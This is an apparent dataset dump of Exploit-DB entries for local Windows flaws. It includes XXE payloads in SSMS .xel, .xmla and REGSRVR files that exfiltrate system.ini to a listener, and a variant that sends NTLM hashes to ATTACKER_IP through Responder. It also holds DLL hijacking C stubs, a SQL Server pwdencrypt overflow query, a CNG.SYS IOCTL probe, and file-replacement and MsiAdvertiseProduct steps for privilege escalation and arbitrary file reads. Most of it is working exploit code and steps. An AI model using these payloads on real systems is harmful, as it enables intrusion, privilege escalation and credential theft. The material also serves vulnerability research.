deardaniel/secdata-raw huggingface dataset:
Exploit-DB #16991
Description: Microsoft Source Code Analyzer for SQL Injection 1.3 - Improper Permissions
Type: local
Platform: windows
Date: 2011-03-17
Author: LiquidWorm

Exploit:
Microsoft Source Code Analyzer for SQL Injection 1.3 Improper Permissions


Vendor: Microsoft Corp.
Product web page: http://www.microsoft.com
Affected version: 1.3.30601.30705

summary: Microsoft Source Code Analyzer for SQL Injection is a static
code analysis tool for finding SQL Injection vulnerabilities in ASP code.
Customers can run the tool on their ASP source code to help identify code
paths that are vulnerable to SQL Injection attacks.

Desc: The package suffers from an elevation of privileges vulnerability
which can be used by a simple user that can change the executable file
with a binary of choice. The vulnerability exist due to the improper
permissions, with the "C" flag (Change(write)) for the "Everyone" group,
for the binary file msscasi_asp.exe and the package itself, msscasi_asp_pkg.exe.

Tested on: Microsoft Windows XP Professional SP3 (EN)

Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
liquidworm gmail com


Advisory ID: ZSL-2011-5003
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5003.php


12.03.2011


-------------------------------------------


C:\Documents and Settings\User101\Desktop\msaspscan>dir
 Volume in drive C has no label.
 Volume Serial Number is 7C64-FE80

 Directory of C:\Documents and Settings\User101\Desktop\msaspscan

12.03.2011  02:27    <DIR>          .
12.03.2011  02:27    <DIR>          ..
12.03.2011  02:27    <DIR>          bin
03.07.2008  15:08           119.422 license.rtf
09.07.2008  10:43           107.544 microsoft.analysis.aspparser.dll
06.11.2007  20:24               524 microsoft.vc90.crt.manifest
09.07.2008  11:51         4.738.072 msscasi_asp.exe
09.07.2008  13:04               139 msscasi_view.cmd
06.11.2007  20:23           224.768 msvcm90.dll
07.11.2007  01:19           568.832 msvcp90.dll
07.11.2007  01:19           655.872 msvcr90.dll
08.07.2008  16:31           224.405 readme.html
12.03.2011  02:27    <DIR>          scripts
               9 File(s)      6.639.578 bytes
               4 Dir(s)  16.956.391.424 bytes free

C:\Documents and Settings\User101\Desktop\msaspscan>cacls msscasi_asp.exe
C:\Documents and Settings\User101\Desktop\msaspscan\msscasi_asp.exe BUILTIN\Administrators:F
                                                                    Everyone:C
                                                                    LABPC\User101:F
                                                                    NT AUTHORITY\SYSTEM:F


C:\Documents and Settings\User101\Desktop\msaspscan>
Exploit-DB #21549
Description: Microsoft SQL Server 2000 - Password Encrypt procedure Buffer Overflow
Type: local
Platform: windows
Date: 2002-06-14
Author: Martin Rakhmanoff

Exploit:
source: https://www.securityfocus.com/bid/5014/info

A buffer overflow vulnerability has been reported in SQL Server 2000. The vunerability is a result of an unchecked buffer when using the password encrypt procedure. This procedure is used by administrators to provides support for the storage of SQL Server Authentication credentials.

The overrun condition is due to an unbounded data copy operation that occurs when processing the procedure arguments. Attackers may exploit this vulnerability by invoking the password encrypt procedure with excessive input.

SELECT pwdencrypt(REPLICATE('A',353))
Exploit-DB #45585
Description: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection
Type: local
Platform: windows
Date: 2018-10-11
Author: hyp3rlinx

Exploit:
# Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xel' XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx)	
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)	
# CVE: CVE-2018-8527
# References:
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XEL-FILETYPE-XML-INJECTION-CVE-2018-8527.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1131/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8527) 

# Description
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable installations 
# of Microsoft SQL Server Management Studio. User interaction is required to exploit this vulnerability 
# in that the target must visit a malicious page or open a malicious file.
# The specific flaw exists within the handling of XEL files. Due to the improper restriction 
# of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser 
# to access the URI and embed the contents back into the XML document for further processing. An attacker 
# can leverage this vulnerability to disclose information in the context of the current process.

# [Exploit/POC]

python -m SimpleHTTPServer (listens Port 8000)

"evil.xel" (Extended Event Log File)

<?xml version="1.0"?>
<!DOCTYPE flavios [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

"payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# OR 
# Steal NTLM hashes
# Kali linux

/usr/share/responder/tools

responder -I eth0 -rv

"evil.xel"

<?xml version="1.0"?>
<!DOCTYPE dirty0tis [ 
<!ENTITY % dtd SYSTEM "\\ATTACKER_IP\unknown">
%dtd;]>

Result: Forced authentication and NTLM hash captured
Exploit-DB #45587
Description: Microsoft SQL Server Management Studio 17.9 - '.xmla' XML External Entity Injection
Type: local
Platform: windows
Date: 2018-10-11
Author: hyp3rlinx

Exploit:
# Exploit Title: Microsoft SQL Server Management Studio 17.9 - '.xmla' XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx)	
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)	
# CVE: CVE-2018-8532
# References:
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-XMLA-FILETYPE-XML-INJECTION-CVE-2018-8532.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1132/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8532) 
# so this is marked as verified

# Security Issue
# This vulnerability allows remote attackers to disclose sensitive information on 
# vulnerable installations of Microsoft SQL Server Management Studio. User interaction is required to 
# exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

# The specific flaw exists within the handling of XMLA files. Due to the improper restriction of 
# XML External Entity (XXE) references, a specially crafted document specifying a URI causes the XML parser to 
# access the URI and embed the contents back into the XML document for further processing. An attacker can leverage 
# this vulnerability to disclose information in the context of the current process.

# PoC
# 1) python -m SimpleHTTPServer
# 2) "test.xmla"

<?xml version="1.0"?>
<!DOCTYPE tastyexploits [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 3) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# Result:

Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
Exploit-DB #45583
Description: Microsoft SQL Server Management Studio 17.9 - XML External Entity Injection
Type: local
Platform: windows
Date: 2018-10-11
Author: hyp3rlinx

Exploit:
# Exploit Title: Microsoft SQL Server Management Studio 17.9 - XML External Entity Injection
# Date: 2018-10-10
# Author: John Page (aka hyp3rlinx)	
# Website: hyp3rlinx.altervista.org
# Venodor: www.microsoft.com
# Software: SQL Server Management Studio 17.9 and SQL Server Management Studio 18.0 (Preview 4)	
# CVE: CVE-2018-8533
# References: 
# http://hyp3rlinx.altervista.org/advisories/MICROSOFT-SQL-SERVER-MGMT-STUDIO-REGSRVR-FILES-XML-INJECTION-CVE-2018-8533.txt
# https://www.zerodayinitiative.com/advisories/ZDI-18-1133/
# https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8533
# The author was credited by the vendor (https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8533) 

# Description
# This vulnerability allows remote attackers to disclose sensitive information on vulnerable 
# installations of Microsoft SQL Server Management Studio. User interaction is required to 
# exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

# The specific flaw exists within the handling of REGSRVR files. Due to the improper 
# restriction of XML External Entity (XXE) references, a specially crafted document specifying a URI causes the 
# XML parser to access the URI and embed the contents back into the XML document for further processing.
# An attacker can leverage this vulnerability to disclose information in the context of the current process.

# Exploit/POC

# 1) python -m SimpleHTTPServer

# 2) "POC.xml"

<?xml version="1.0"?>
<!DOCTYPE injectme [ 
<!ENTITY % file SYSTEM "C:\Windows\system.ini">
<!ENTITY % dtd SYSTEM "http://127.0.0.1:8000/payload.dtd">
%dtd;]>
<pwn>&send;</pwn>

# 3) "payload.dtd"

<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY % all "<!ENTITY send SYSTEM 'http://127.0.0.1:8000?%file;'>">
%all;

# Result:

Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /payload.dtd HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
127.0.0.1 - - [08/Apr/2018 00:42:37] "GET /?;%20for%2016-bit%20app%20support%0D%0A[386Enh]%0D%0Awoafont=dosapp.fon%0D%0AEGA80WOA.FON=EGA80WOA.FON%0D%0AEGA40WOA.FON=EGA40WOA.FON%0D%0ACGA80WOA.FON=CGA80WOA.FON%0D%0ACGA40WOA.FON=CGA40WOA.FON%0D%0A%0D%0A[drivers]%0D%0Awave=mmdrv.dll%0D%0Atimer=timer.drv%0D%0A%0D%0A[mci] HTTP/1.1" 200 -
Exploit-DB #19728
Description: Microsoft Systems Management Server 2.0 - Default Permissions
Type: local
Platform: windows
Date: 1999-12-29
Author: Frank Monroe

Exploit:
source: https://www.securityfocus.com/bid/945/info

The default permissions applied to the directory containing the SMS Remote Control executable allow any user to replace the executable with any other executable. The new executable will run with System privileges after the next reboot.

Replace %SMS_LOCAL_DIR%\MS\SMS\CLICOMP\REMCTRL\WUSER32.EXE with a copy of wuser32.exe. After the next reboot, User Manager will run at startup with System privileges, allowing the logged-in user to add their account to arbitrary groups, including Administrators.
Exploit-DB #14744
Description: Microsoft Visio 2003 - 'mfc71enu.dll' DLL Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Beenu Arora

Exploit:
/* 
Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora
Exploit Title: Microsoft Visio 2003 DLL Hijacking Exploit
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: .vtx

Compile and rename to mfc71enu.dll, create a file in the same dir with one of the following extensions:
.vtx
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

// POC: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/14745.zip
Exploit-DB #14751
Description: Microsoft Vista - 'fveapi.dll' BitLocker Drive Encryption API Hijacking
Type: local
Platform: windows
Date: 2010-08-25
Author: Beenu Arora

Exploit:
# Greetz to :b0nd, Fbih2s,r45c4l,Charles ,j4ckh4x0r, punter,eberly, Charles , Dinesh Arora

/* 
Exploit Title: Microsoft Vista BitLocker Drive Encryption API Hijacking Exploit
Date: 25/08/2010
Author: Beenu Arora
Tested on: Windows XP SP3
Vulnerable extensions: .wbcat

Compile and rename to fveapi.dll, create a file in the same dir with one of the following extensions:
.wbcat


#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void hook_startup() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}
Exploit-DB #19143
Description: Microsoft Windows - 'April Fools 2001' Set Incorrect Date
Type: local
Platform: windows
Date: 1999-01-07
Author: Richard M. Smith

Exploit:
/*
source: https://www.securityfocus.com/bid/180/info

Beginning April 1, 2001 and continuing through April 8, 2001, Windows applications will be offset by one hour - even though the system clock will show the proper time. This is due to the MSVCRT.DLL not correctly interpreting Daylight Savings time during any year in which April 1st falls on a Sunday. In these instances, the DLL is fooled into thinking that DST begins one week later on April 8th.

MSVCRT.DLL shipping with MS VC++ versions 4.1, 4.2, 5.0 and 6.0 are thought to be vulnerable. 
*/

//
// APRIL1.C -- Simple test program for the "April's Fools 2001" bug
//
// by Richard M. Smith (rms@pharlap.com)
// copyright (C) 1999
//

#include <stdio.h>
#include <time.h>
#include <string.h>

#define SECS_PER_HOUR (60 * 60)
#define SECS_PER_DAY (24 * SECS_PER_HOUR)
#define SECS_PER_YEAR (365 * SECS_PER_DAY)

#define START (3 * SECS_PER_DAY)
#define INCR (23 * SECS_PER_HOUR)
#define MAXTIMES ((0x80000000L - START) / INCR)

void print_time(time_t mytime);

char *month_tab[] =
{
"January",
"February",
"March",
"April",
"May",
"June",
"July",
"August",
"September",
"October",
"November",
"December"
};

char *dow_tab[] =
{
"Sunday",
"Monday",
"Tuesday",
"Wednesday",
"Thursday",
"Friday",
"Saturday"
};

int main()

{

print_time(0x3AC796D0); // Sunday, April 1, 2001
print_time(0x3ACF2B70); // Saturday, April 7, 2001
print_time(0x3AD06EE0); // Sunday, April 8, 2001
return 0;

}

//
// print_time -- print out a time_t value converted by localtime()
//

void print_time(time_t mytime)

{

char month[100];
char dow[100];
struct tm *tmp;

tmp = localtime(&mytime);
if(tmp == NULL)
{
printf("0x%08lX = Invalid time\n", mytime);
return;
}
if(tmp->tm_mon >= 0 && tmp->tm_mon <= 11)
strcpy(month, month_tab[tmp->tm_mon]);
else
sprintf(month, "BadMonth=%d", tmp->tm_mon);
if(tmp->tm_wday >= 0 && tmp->tm_wday <= 6)
strcpy(dow, dow_tab[tmp->tm_wday]);
else
sprintf(month, "BadDOW=%d", tmp->tm_wday);
printf("0x%08lX = %s, %s %d, %d -- %d:%02d:%02d %s -- DOY=%d\n",
mytime, dow, month, tmp->tm_mday, tmp->tm_year + 1900,
tmp->tm_hour, tmp->tm_min, tmp->tm_sec, _tzname[tmp->tm_isdst != 0],
tmp->tm_yday);
return;
Exploit-DB #37052
Description: Microsoft Windows - 'CNG.SYS' Kernel Security Feature Bypass (MS15-052)
Type: local
Platform: windows
Date: 2015-05-18
Author: 4B5F5F4B

Exploit:
// Source: http://www.binvul.com/viewthread.php?tid=508
// Source: https://twitter.com/NTarakanov/status/[PII_REDACTED]32423168


#include <windows.h>
#include <winternl.h>
#include <stdio.h>
#pragma  comment(lib, "ntdll.lib")



int main(int argc, CHAR* argv[]) {
        typedef NTSTATUS  (__stdcall *NT_OPEN_FILE)(OUT PHANDLE FileHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, OUT PIO_STATUS_BLOCK IoStatusBlock, IN ULONG ShareAccess, IN ULONG OpenOptions);
        NT_OPEN_FILE NtOpenFileStruct;

        PVOID Info;
        HMODULE hModule = LoadLibrary(("ntdll.dll"));
        NtOpenFileStruct = (NT_OPEN_FILE)GetProcAddress(hModule, "NtOpenFile");
        if(NtOpenFileStruct == NULL) {
                exit(-1);
        }
        


        UNICODE_STRING filename;
        RtlInitUnicodeString(&filename, L"\\Device\\CNG");

        
        OBJECT_ATTRIBUTES obja;
        obja.Attributes        =        0x40;
        obja.ObjectName =   &filename;
        obja.Length                =        0x18;
        obja.RootDirectory        =        NULL;
        obja.SecurityDescriptor        =        NULL;
        obja.SecurityQualityOfService        =        NULL;
        
        IO_STATUS_BLOCK iostatusblock;
        HANDLE hCNG   = NULL;
        NTSTATUS stat = NtOpenFileStruct(&hCNG, 0x100001, &obja, &iostatusblock, 7, 0x20);
        if(NT_SUCCESS(stat)) {
                printf("File successfully opened.\n");
        }
        else {
                printf("File could not be opened.\n");
                return -1;
        }
        DWORD dwBuffer = 0;
        DWORD dwCnt           = 0;
        BOOL  bRet = DeviceIoControl((HANDLE)hCNG, 0x390048, &dwBuffer, 4, &dwBuffer, 4, &dwCnt, NULL);
        if (FALSE == bRet)
        {
                printf("[*]Send IOCTL fail!\n");
                printf("[*]Error Code:%d\n", GetLastError());
        }
        else
        {
                printf("[*]0x%08x\n", dwBuffer);        
        }
        CloseHandle(hCNG);
        getchar();
        return 0;
}
Exploit-DB #46040
Description: Microsoft Windows - 'MsiAdvertiseProduct' Arbitrary File Copy/Read
Type: local
Platform: windows
Date: 2018-12-20
Author: SandboxEscaper

Exploit:
The bug is in “MsiAdvertiseProduct”

Calling this function will result in a file copy by the installer service.

This will copy an arbitrary file that we can control with the first parameter into c:\windows\installer … a check gets done while impersonating, but using junctions there is still a TOCTOU .. meaning we can get it to copy any file as SYSTEM, and the destination file will always be readable. This results an in arbitrary file read vulnerability.

To reproduce:

Make sure to copy both readfile.exe and “file” (found under folder PoC-Files)… and put them in the same directory. 

Usage: readfile.exe targetfile    (where targetfile is the file to read, IE: “readfile.exe c:\users\test\desktop\desktop.ini”)

Run on 2 cores or more, this should work on one core with some modifications.. since you should be able to hit the timing with oplocks too (but I'm lazy)..  you should be able to see something like this if it works: https://www.youtube.com/watch?v=x4P2H64GI1o 

The easiest way to confirm the bug is to make two local accounts and read the desktop.ini of the other account.

Even without an enumeration vector, this is still bad news, because a lot of document software, like office, will actually keep files in static locations that contain the full path and filesnames of recently opened documents.. thus by reading files like this, you can get filenames of documents created by other users.. the filesystem is a spiderweb and references to user created files can be found everywhere.. so not having an enumeration bug is not that big of a deal.

If shadow copies are enabled you can obviously steal the SAM and SYSTEM hive I assume... 

Maybe there's some other use-cases.. but I'm not very smart, so I don't know.

Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46040.rar
Exploit-DB #46028
Description: Microsoft Windows - 'MsiAdvertiseProduct' Arbitrary File Read
Type: local
Platform: windows
Date: 2018-12-21
Author: evil_polar_bear

Exploit:
The bug is in “MsiAdvertiseProduct”

Calling this function will result in a file copy by the installer service.
This will copy an arbitrary file that we can control with the first parameter into c:\windows\installer … a check gets done while impersonating, but using junctions there is still a TOCTOU .. meaning we can get it to copy any file as SYSTEM, and the destination file will always be readable. This results an in arbitrary file read vulnerability.

To reproduce:
Make sure to copy both readfile.exe and “file” (found under folder PoC-Files)… and put them in the same directory. 
Useage: readfile.exe targetfile    (where targetfile is the file to read, IE: “readfile.exe c:\users\test\desktop\desktop.ini”)

Run on 2 cores or more, this should work on one core with some modifications.. since you should be able to hit the timing with oplocks too (but I'm lazy)..  you should be able to see something like this if it works: https://www.youtube.com/watch?v=x4P2H64GI1o 

The easiest way to confirm the bug is to make two local accounts and read the desktop.ini of the other account.

Even without an enumeration vector, this is still bad news, because a lot of document software, like office, will actually keep files in static locations that contain the full path and filesnames of recently opened documents.. thus by reading files like this, you can get filenames of documents created by other users.. the filesystem is a spiderweb and references to user created files can be found everywhere.. so not having an enumeration bug is not that big of a deal.


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/46028.zip